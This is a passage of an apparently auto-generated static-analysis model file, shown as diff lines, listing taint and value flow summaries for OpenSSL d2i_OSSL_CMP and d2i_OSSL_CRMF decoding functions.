"d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CMP_ROOTCAKEYUPDATE", "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ATTRIBUTETYPEANDVALUE", "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTID", "(OSSL_CRMF_CERTID **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTREQUEST", "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_CERTTEMPLATE", "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_OSSL_CRMF_ENCKEYWITHID", "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, 